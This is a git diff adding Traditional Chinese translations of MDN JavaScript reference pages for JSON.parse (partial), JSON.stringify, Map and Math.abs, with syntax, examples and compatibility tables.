+JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+JSON.parse('null');            // null
+</pre>
+
+<h3 id="使用_reviver_參數">使用 <strong><code>reviver</code></strong> 參數</h3>
+
+<p><code><font face="Open Sans, Arial, sans-serif">如果</font>reviver函數有被指定</code>，字串解析後產生出來的值會在函式回傳前經過轉換。 具體來講，解析後的值或是物件屬性會一個接一個地被這個reviver函數過濾（順序是由巢狀架構中最深的到最淺的），而當一個屬性即將被過濾時，該屬性的名稱（字串形態）以及值會被當作參數傳入reviver函數。如果reviver函數回傳了 {{jsxref("undefined")}} (或是沒有回傳值, 例如：函式提早結束)，則該屬性會從物件中被刪除；反之如果成功的話，該屬性的值就會被新的回傳值取代。</p>
+
+<p>如果reviver只需轉換某些特定的值，請記得將其他不須特別轉換的值以原來的值回傳，否則這些值會從回傳的結果物件中刪除。</p>
+
+<pre class="brush: js">JSON.parse('{"p": 5}', function(k, v) {
+  if (typeof v === 'number') {
+    return v * 2;  // return v * 2 for numbers
+  }
+  return v;        // return everything else unchanged
+});
+
+// { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2, "3": {"4": 4, "5": {"6": 6}}}', function(k, v) {
+  console.log(k); // log the current property name, the last is "".
+  return v;       // return the unchanged property value.
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""
+</pre>
+
+<h3 id="JSON.parse_不容許尾部有逗號"><code>JSON.parse()</code> 不容許尾部有逗號</h3>
+
+<pre class="example-bad brush: js example-bad">// 這兩個都會拋出 SyntaxError
+JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>初始定義。從 JavaScript 1.7 導入。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特徵</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本功能</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("8.0")}}</td>
+   <td>{{CompatOpera("10.5")}}</td>
+   <td>{{CompatSafari("4.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特徵</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本功能</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Gecko相關">Gecko相關</h2>
+
+<p>從Gecko 29版本開始{{geckoRelease("29")}}，錯誤格式的JSON字串會產生更詳細的錯誤訊息，包含造成解析錯誤的行數及列數。這在針對大量JSON資料進行除錯時會很有幫助。</p>
+
+<pre class="brush: js">JSON.parse('[1, 2, 3, 4,]');
+// SyntaxError: JSON.parse: unexpected character at
+// line 1 column 13 of the JSON data
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/json/stringify/index.html b/files/zh-tw/web/javascript/reference/global_objects/json/stringify/index.html
new file mode 100644
index 0000000000..5169d7d748
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/json/stringify/index.html
@@ -0,0 +1,280 @@
+---
+title: JSON.stringify()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>JSON.stringify()</code></strong> method converts a JavaScript value to a JSON string, optionally replacing values if a replacer function is specified, or optionally including only the specified properties if a replacer array is specified.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>The value to convert to a JSON string.</dd>
+ <dt><code>replacer</code> {{optional_inline}}</dt>
+ <dd>A function that alters the behavior of the stringification process, or an array of {{jsxref("String")}} and {{jsxref("Number")}} objects that serve as a whitelist for selecting/filtering the properties of the value object to be included in the JSON string. If this value is null or not provided, all properties of the object are included in the resulting JSON string.</dd>
+ <dt><code>space</code> {{optional_inline}}</dt>
+ <dd>A {{jsxref("String")}} or {{jsxref("Number")}} object that's used to insert white space into the output JSON string for readability purposes. If this is a <code>Number</code>, it indicates the number of space characters to use as white space; this number is capped at 10 (if it is greater, the value is just 10). Values less than 1 indicate that no space should be used. If this is a <code>String</code>, the string (or the first 10 characters of the string, if it's longer than that) is used as white space. If this parameter is not provided (or is null), no white space is used.</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>A JSON string representing the given value.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>JSON.stringify()</code> converts a value to JSON notation representing it:</p>
+
+<ul>
+ <li>{{jsxref("Boolean")}}, {{jsxref("Number")}}, and {{jsxref("String")}} objects are converted to the corresponding primitive values during stringification, in accord with the traditional conversion semantics.</li>
+ <li>If {{jsxref("undefined")}}, a function, or a symbol is encountered during conversion it is either omitted (when it is found in an object) or censored to {{jsxref("null")}} (when it is found in an array). <code>JSON.stringify</code> can also just return <code>undefined</code> when passing in "pure" values like <code>JSON.stringify(function(){})</code> or <code>JSON.stringify(undefined)</code>.</li>
+ <li>All symbol-keyed properties will be completely ignored, even when using the <code>replacer</code> function.</li>
+ <li>Non-enumerable properties will be ignored</li>
+</ul>
+
+<pre class="brush: js">JSON.stringify({});                  // '{}'
+JSON.stringify(true);                // 'true'
+JSON.stringify('foo');               // '"foo"'
+JSON.stringify([1, 'false', false]); // '[1,"false",false]'
+JSON.stringify({ x: 5 });            // '{"x":5}'
+
+JSON.stringify(new Date(2006, 0, 2, 15, 4, 5))
+// '"2006-01-02T15:04:05.000Z"'
+
+JSON.stringify({ x: 5, y: 6 });
+// '{"x":5,"y":6}'
+JSON.stringify([new Number(3), new String('false'), new Boolean(false)]);
+// '[3,"false",false]'
+
+JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });
+// '{"x":[10,null,null,null]}'
+
+// Symbols:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+  if (typeof k === 'symbol') {
+    return 'a symbol';
+  }
+});
+// '{}'
+
+// Non-enumerable properties:
+JSON.stringify( Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
+// '{"y":"y"}'
+
+</pre>
+
+<h3 id="The_replacer_parameter"><a id="The replacer parameter" name="The replacer parameter"></a>The <code>replacer</code> parameter</h3>
+
+<p>The <code>replacer</code> parameter can be either a function or an array. As a function, it takes two parameters, the key and the value being stringified. The object in which the key was found is provided as the replacer's <code>this</code> parameter. Initially it gets called with an empty key representing the object being stringified, and it then gets called for each property on the object or array being stringified. It should return the value that should be added to the JSON string, as follows:</p>
+
+<ul>
+ <li>If you return a {{jsxref("Number")}}, the string corresponding to that number is used as the value for the property when added to the JSON string.</li>
+ <li>If you return a {{jsxref("String")}}, that string is used as the property's value when adding it to the JSON string.</li>
+ <li>If you return a {{jsxref("Boolean")}}, "true" or "false" is used as the property's value, as appropriate, when adding it to the JSON string.</li>
+ <li>If you return any other object, the object is recursively stringified into the JSON string, calling the <code>replacer</code> function on each property, unless the object is a function, in which case nothing is added to the JSON string.</li>
+ <li>If you return <code>undefined</code>, the property is not included (i.e., filtered out) in the output JSON string.</li>
+</ul>
+
+<div class="note"><strong>Note:</strong> You cannot use the <code>replacer</code> function to remove values from an array. If you return <code>undefined</code> or a function then <code>null</code> is used instead.</div>
+
+<h4 id="Example_with_a_function">Example with a function</h4>
+
+<pre class="brush: js">function replacer(key, value) {
+  // Filtering out properties
+  if (typeof value === 'string') {
+    return undefined;
+  }
+  return value;
+}
+
+var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7};
+JSON.stringify(foo, replacer);
+// '{"week":45,"month":7}'
+</pre>
+
+<h4 id="Example_with_an_array">Example with an array</h4>
+
+<p>If <code>replacer</code> is an array, the array's values indicate the names of the properties in the object that should be included in the resulting JSON string.</p>
+
+<pre class="brush: js">JSON.stringify(foo, ['week', 'month']);
+// '{"week":45,"month":7}', only keep "week" and "month" properties
+</pre>
+
+<h3 id="The_space_argument"><a id="The space argument" name="The space argument"></a>The <code>space</code> argument</h3>
+
+<p>The <code>space</code> argument may be used to control spacing in the final string. If it is a number, successive levels in the stringification will each be indented by this many space characters (up to 10). If it is a string, successive levels will be indented by this string (or the first ten characters of it).</p>
+
+<pre class="brush: js">JSON.stringify({ a: 2 }, null, ' ');
+// '{
+//  "a": 2
+// }'
+</pre>
+
+<p>Using a tab character mimics standard pretty-print appearance:</p>
+
+<pre class="brush: js">JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
+// returns the string:
+// '{
+//     "uno": 1,
+//     "dos": 2
+// }'
+</pre>
+
+<h3 id="toJSON_behavior"><code>toJSON()</code> behavior</h3>
+
+<p>If an object being stringified has a property named <code>toJSON</code> whose value is a function, then the <code>toJSON()</code> method customizes JSON stringification behavior: instead of the object being serialized, the value returned by the <code>toJSON()</code> method when called will be serialized. <code>JSON.stringify()</code> calls <code>toJSON</code> with one parameter:</p>
+
+<ul>
+ <li>if this object is a property value, the property name</li>
+ <li>if it is in an array, the index in the array, as a string</li>
+ <li>an empty string if <code>JSON.stringify()</code> was directly called on this object</li>
+</ul>
+
+<p>For example:</p>
+
+<pre class="brush: js">const bonnie = {
+  name: 'Bonnie Washington',
+  age: 17,
+  class: 'Year 5 Wisdom',
+  isMonitor: false,
+  toJSON: function(key) {
+    // Clone object to prevent accidentally performing modification on the original object
+    const cloneObj = { ...this };
+
+    delete cloneObj.age;
+    delete cloneObj.isMonitor;
+    cloneObj.year = 5;
+    cloneObj.class = 'Wisdom';
+
+    if (key) {
+      cloneObj.code = key;
+    }
+
+    return cloneObj;
+  }
+}
+
+JSON.stringify(bonnie);
+// Returns '{"name":"Bonnie Washington","class":"Wisdom","year":5}'
+
+const students = {bonnie};
+JSON.stringify(students);
+// Returns '{"bonnie":{"name":"Bonnie Washington","class":"Wisdom","year":5,"code":"bonnie"}}'
+
+const monitorCandidate = [bonnie];
+JSON.stringify(monitorCandidate)
+// Returns '[{"name":"Bonnie Washington","class":"Wisdom","year":5,"code":"0"}]'</pre>
+
+<h3 id="Issue_with_plain_JSON.stringify_for_use_as_JavaScript">Issue with plain <code>JSON.stringify</code> for use as JavaScript</h3>
+
+<p>Note that JSON is <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">not a completely strict subset of JavaScript</a>, with two line terminators (Line separator and Paragraph separator) not needing to be escaped in JSON but needing to be escaped in JavaScript. Therefore, if the JSON is meant to be evaluated or directly utilized within <a href="https://en.wikipedia.org/wiki/JSONP">JSONP</a>, the following utility can be used:</p>
+
+<pre class="brush: js">function jsFriendlyJSONStringify (s) {
+    return JSON.stringify(s).
+        replace(/\u2028/g, '\\u2028').
+        replace(/\u2029/g, '\\u2029');
+}
+
+var s = {
+    a: String.fromCharCode(0x2028),
+    b: String.fromCharCode(0x2029)
+};
+try {
+    eval('(' + JSON.stringify(s) + ')');
+} catch (e) {
+    console.log(e); // "SyntaxError: unterminated string literal"
+}
+
+// No need for a catch
+eval('(' + jsFriendlyJSONStringify(s) + ')');
+
+// console.log in Firefox unescapes the Unicode if
+//   logged to console, so we use alert
+alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}</pre>
+
+<h3 id="Example_of_using_JSON.stringify_with_localStorage">Example of using <code>JSON.stringify()</code> with <code>localStorage</code></h3>
+
+<p>In a case where you want to store an object created by your user and allowing it to be restored even after the browser has been closed, the following example is a model for the applicability of <code>JSON.stringify()</code>:</p>
+
+<div class="warning">
+<p>Functions are not a valid JSON data type so they will not work. However, they can be displayed if first converted to a string (e.g. in the replacer), via the function's toString method. Also, some objects like {{jsxref("Date")}} will be a string after {{jsxref("JSON.parse()")}}.</p>
+</div>
+
+<pre class="brush: js">// Creating an example of JSON
+var session = {
+  'screens': [],
+  'state': true
+};
+session.screens.push({ 'name': 'screenA', 'width': 450, 'height': 250 });
+session.screens.push({ 'name': 'screenB', 'width': 650, 'height': 350 });
+session.screens.push({ 'name': 'screenC', 'width': 750, 'height': 120 });
+session.screens.push({ 'name': 'screenD', 'width': 250, 'height': 60 });
+session.screens.push({ 'name': 'screenE', 'width': 390, 'height': 120 });
+session.screens.push({ 'name': 'screenF', 'width': 1240, 'height': 650 });
+
+// Converting the JSON string with JSON.stringify()
+// then saving with localStorage in the name of session
+localStorage.setItem('session', JSON.stringify(session));
+
+// Example of how to transform the String generated through
+// JSON.stringify() and saved in localStorage in JSON object again
+var restoredSession = JSON.parse(localStorage.getItem('session'));
+
+// Now restoredSession variable contains the object that was saved
+// in localStorage
+console.log(restoredSession);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.JSON.stringify")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("JSON.parse()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/map/index.html b/files/zh-tw/web/javascript/reference/global_objects/map/index.html
new file mode 100644
index 0000000000..07dc862188
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/map/index.html
@@ -0,0 +1,265 @@
+---
+title: Map
+slug: Web/JavaScript/Reference/Global_Objects/Map
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Map</code></strong> 是保存了鍵值對（key-value pairs）的物件。</span>任何值（包括物件及{{Glossary("Primitive", "基本型別（primitive）值")}}）都可以作為鍵或值。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new Map([<em>iterable</em>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>為一個{{jsxref("Array", "陣列")}}或其他元素成鍵值對的<a href="/zh-TW/docs/Web/JavaScript/Guide/iterable">可迭代</a>物件（有兩個元素的陣列，例如 <code>[[ 1, 'one' ],[ 2, 'two' ]]</code>）。每一個鍵值對都會被加入至新的 <code>Map</code>；<code>null</code> 會被視為 <code>undefined</code>。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>一個 <code>Map</code> 物件會根據元素的新增順序走訪自身的所有元素 — {{jsxref("Statements/for...of", "for...of")}} 迴圈會在每次迭代回傳一個 <code>[key, value]</code> 陣列。</p>
+
+
+
+<h3 id="鍵的相等性">鍵的相等性</h3>
+
+<p>鍵相等是基於 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Same-value-zero_equality">SameValueZero</a> 的演算法：<code>NaN</code> 被認為與 <code>NaN</code> 相同（即使 <code>NaN !== NaN</code>）並且根據 <code>===</code> 運算符的語義，所有其他值都被認為相等。在目前的ECMAScript 規範中，<code>-0</code> 和 <code>+0</code> 被認為是相等的，儘管在早期的草案中並非如此。詳細的內容請參閱 {{anch("Browser compatibility")}} 表中的 "Value equality for -0 and 0"。</p>
+
+<h3 id="Object_及_Map_的比較">Object 及 Map 的比較</h3>
+
+<p>{{jsxref("Object")}} 和 <code>Map</code> 類似。兩者都允許你設置對應的鍵值對，檢索這些值，刪除鍵，並檢測是否有什麼存儲在鍵中。正因為如此（也因為沒有內置的替代品），<code>Object</code> 在歷史上一直被當作 <code>Map</code> 使用；然而在某些情況下，使用 <code>Map</code> 有一些重要的不同之處:</p>
+
+<ul>
+ <li><code>Object</code> 的鍵是 {{jsxref("String", "字串")}} 和 {{jsxref("Symbol", "Symbol")}}，而它們在 <code>Map</code> 中可以是任意的資料型態，包括函數，對象以及原始的資料型態。</li>
+ <li>你可以使用 <code>size</code> 屬性輕鬆地獲得 <code>Map</code> 的大小，而 <code>Object</code> 中的屬性數量必須手動確認。</li>
+ <li><code>Map</code> 是可迭代（<a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a>）的，因此可以直接迭代，而在 <code>Object</code> 上迭代則需要以某種方式獲取其鍵並對其進行迭代。</li>
+ <li><code>Object</code> 有一個原型，所以如果不小心，映射中有一些默認鍵可能與鍵發生衝突。從 ES5 開始，這可以通過使用 <code>map = Object.create(null)</code> 來繞過這個問題，但是很少這樣做。</li>
+ <li>在涉及頻繁添加和刪除鍵值對的場景中，<code>Map</code> 可能表現得更好。</li>
+</ul>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd><code>length</code>屬性的值為 0<br>
+ 要計算 <code>Map</code> 中有多少元素，可以使用 {{jsxref("Map.prototype.size")}}。</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>用於創建派生物件的構造函數。</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd>表示 <code>Map</code> 構造函數的原型，允許對所有的 <code>Map</code> 物件添加屬性</dd>
+</dl>
+
+<h2 id="Map_物件實體"><code>Map</code> 物件實體</h2>
+
+<p>所有的 <code>Map</code> 實例都繼承自 {{jsxref("Map.prototype")}}.</p>
+
+<h3 id="屬性_2">屬性</h3>
+
+<p>{{page('zh-TW/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p>
+
+<h3 id="方法">方法</h3>
+
+<p>{{page('zh-TW/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Map_物件">使用 <code>Map</code> 物件</h3>
+
+<pre class="brush: js">var myMap = new Map();
+
+var keyString = 'a string',
+    keyObj = {},
+    keyFunc = function() {};
+
+// setting the values
+myMap.set(keyString, "value associated with 'a string'");
+myMap.set(keyObj, 'value associated with keyObj');
+myMap.set(keyFunc, 'value associated with keyFunc');
+
+myMap.size; // 3
+
+// getting the values
+myMap.get(keyString);    // "value associated with 'a string'"
+myMap.get(keyObj);       // "value associated with keyObj"
+myMap.get(keyFunc);      // "value associated with keyFunc"
+
+myMap.get('a string');   // "value associated with 'a string'"
+                         // because keyString === 'a string'
+myMap.get({});           // undefined, because keyObj !== {}
+myMap.get(function() {}) // undefined, because keyFunc !== function () {}
+</pre>
+
+<h3 id="使用_NaN_作為_Map_的鍵">使用 <code>NaN</code> 作為 <code>Map</code> 的鍵</h3>
+
+<p><code>NaN</code> 同樣可以作為 <code>Map</code> 的 key，雖然每個 <code>NaN</code> 都不等於自己本身，下面的例子是有效的，因為 <code>NaN</code> 無法區分彼此。</p>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set(NaN, 'not a number');
+
+myMap.get(NaN); // "not a number"
+
+var otherNaN = Number('foo');
+myMap.get(otherNaN); // "not a number"
+</pre>
+
+<h3 id="透過_for..of_迭代_Map">透過 <code>for..of</code> 迭代 <code>Map</code></h3>
+
+<p>Map 可以使用 <code>for..of</code> 迴圈進行迭代：</p>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set(0, 'zero');
+myMap.set(1, 'one');
+for (var [key, value] of myMap) {
+  console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+
+for (var key of myMap.keys()) {
+  console.log(key);
+}
+// 0
+// 1
+
+for (var value of myMap.values()) {
+  console.log(value);
+}
+// zero
+// one
+
+for (var [key, value] of myMap.entries()) {
+  console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+</pre>
+
+<h3 id="透過_forEach_迭代_Map">透過 <code>forEach()</code> 迭代 <code>Map</code></h3>
+
+<p><code>Map</code> 可以使用 <code>forEach()</code> 方法進行迭代：</p>
+
+<pre class="brush: js">myMap.forEach(function(value, key) {
+  console.log(key + ' = ' + value);
+});
+// Will show 2 logs; first with "0 = zero" and second with "1 = one"
+</pre>
+
+<h3 id="與_Array_物件關聯">與 <code>Array</code> 物件關聯</h3>
+
+<pre class="brush: js">var kvArray = [['key1', 'value1'], ['key2', 'value2']];
+
+// Use the regular Map constructor to transform a 2D key-value Array into a map
+var myMap = new Map(kvArray);
+
+myMap.get('key1'); // returns "value1"
+
+// Use the Array.from function to transform a map into a 2D key-value Array
+console.log(Array.from(myMap)); // Will show you exactly the same Array as kvArray
+
+// Or use the keys or values iterators and convert them to an array
+console.log(Array.from(myMap.keys())); // Will show ["key1", "key2"]
+</pre>
+
+
+
+<h3 id="複製與合併_Map"> 複製與合併 <code>Map</code></h3>
+
+<p>就像 <code>Array</code> 一樣，<code>Map</code> 可以被複製:</p>
+
+<pre><code>var original = new Map([
+  [1, 'one']
+]);
+
+var clone = new Map(original);
+
+console.log(clone.get(1)); // one
+console.log(original === clone); // false. Useful for shallow comparison</code></pre>
+
+<p>請記住，數據本身並非克隆的。</p>
+
+<p><code>Map</code> 可以被合併，保持鍵的唯一性:</p>
+
+<pre><code>var first = new Map([
+  [1, 'one'],
+  [2, 'two'],
+  [3, 'three'],
+]);
+
+var second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// Merge two maps. The last repeated key wins.
+// Spread operator essentially converts a Map to an Array
+var merged = new Map([...first, ...second]);
+
+console.log(merged.get(1)); // uno
+console.log(merged.get(2)); // dos
+console.log(merged.get(3)); // three</code></pre>
+
+<p><code>Map</code> 也可以跟 <code>Array</code> 合併：</p>
+
+<pre><code>var first = new Map([
+  [1, 'one'],
+  [2, 'two'],
+  [3, 'three'],
+]);
+
+var second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// Merge maps with an array. The last repeated key wins.
+var merged = new Map([...first, ...second, [1, 'eins']]);
+
+console.log(merged.get(1)); // eins
+console.log(merged.get(2)); // dos
+console.log(merged.get(3)); // three</code>
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map and Set bug at Mozilla</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">ECMAScript Harmony proposal</a></li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/abs/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/abs/index.html
new file mode 100644
index 0000000000..91be97bc11
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/abs/index.html
@@ -0,0 +1,104 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Reference/Global_Objects/Math/abs
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.abs()</code></strong> 函式會回傳一個數字的絕對值，即為：</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&gt;</mo><mn>0</mn></mtd></mtr><mtr><mtd><mi>0</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>=</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{if} \quad x \geq 0 \\ x &amp; \text{if} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-abs.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">Math.abs(<var>x</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>一個數字。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>給定數字的絕對值。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>Because <code>abs()</code> is a static method of <code>Math</code>, you always use it as <code>Math.abs()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Math.abs()_的行為"><code>Math.abs()</code> 的行為</h3>
+
+<p>Passing an empty object, an array with more than one member, a non-numeric string or {{jsxref("undefined")}}/empty variable returns {{jsxref("NaN")}}. Passing {{jsxref("null")}}, an empty string or an empty array returns 0.</p>
+
+<pre class="brush: js" dir="rtl">Math.abs('-1');     // 1
+Math.abs(-2);       // 2
+Math.abs(null);     // 0
+Math.abs('');       // 0
+Math.abs([]);       // 0
+Math.abs([2]);      // 2
+Math.abs([1,2]);    // NaN
+Math.abs({});       // NaN
+Math.abs('string'); // NaN
+Math.abs();         // NaN
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
